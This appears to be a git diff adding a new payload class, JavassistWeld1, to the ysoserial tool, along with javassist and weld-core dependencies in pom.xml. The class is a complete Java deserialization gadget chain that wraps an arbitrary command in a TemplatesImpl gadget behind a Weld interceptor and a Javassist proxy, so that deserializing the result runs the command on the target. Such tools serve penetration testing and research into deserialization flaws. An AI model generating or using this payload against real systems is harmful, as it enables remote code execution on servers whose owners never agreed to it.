diff --git a/pom.xml b/pom.xml
index 43ffc0d..a8ecf2e 100644
--- a/pom.xml
+++ b/pom.xml
@@ -257,6 +257,16 @@
 			<artifactId>js</artifactId>
 			<version>1.7R2</version>
 		</dependency>
+		<dependency>
+		<groupId>javassist</groupId>
+		<artifactId>javassist</artifactId>
+		<version>3.12.0.GA</version>
+		</dependency>
+		<dependency>
+			<groupId>org.jboss.weld</groupId>
+			<artifactId>weld-core</artifactId>
+			<version>1.1.33.Final</version>
+		</dependency>
 	</dependencies>
 
 	<profiles>
diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java
new file mode 100644
index 0000000..bf89d51
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java
@@ -0,0 +1,88 @@
+package ysoserial.payloads;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import javassist.util.proxy.ProxyFactory;
+import javassist.util.proxy.ProxyObject;
+import javassist.util.proxy.RuntimeSupport;
+import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
+import org.jboss.weld.interceptor.builder.MethodReference;
+import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
+import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
+import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
+import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
+import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
+import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
+import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
+import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
+import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
+import org.jboss.weld.interceptor.spi.model.InterceptionModel;
+import org.jboss.weld.interceptor.spi.model.InterceptionType;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+import java.lang.reflect.Constructor;
+import java.util.*;
+
+/*
+    by @matthias_kaiser
+*/
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final"})
+public class JavassistWeld1 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+
+        final Object gadget = Gadgets.createTemplatesImpl(command);
+
+        InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
+        ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
+        InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
+
+        Set<InterceptionType> s = new HashSet<InterceptionType>();
+        s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
+
+        Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
+        defaultMethodMetadataConstructor.setAccessible(true);
+        MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
+                MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
+
+        List list = new ArrayList();
+        list.add(methodMetadata);
+        Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
+
+        hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
+        SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
+
+        builder.interceptAll().with(simpleInterceptorMetadata);
+
+        InterceptionModel model = builder.build();
+
+        HashMap map = new HashMap();
+        map.put("ysoserial", "ysoserial");
+
+        DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
+
+        InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
+
+            public Object createFor(InterceptorReference paramInterceptorReference) {
+
+                return gadget;
+            }
+        };
+
+        InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
+        ProxyFactory proxyFactory = new ProxyFactory();
+        proxyFactory.setSuperclass(HashMap.class);
+        ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance();
+        proxy.setHandler(interceptorMethodHandler);
+
+        return RuntimeSupport.makeSerializedProxy(proxy);
+
+    }
+
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(JavassistWeld1.class, args);
+    }
+}
\ No newline at end of file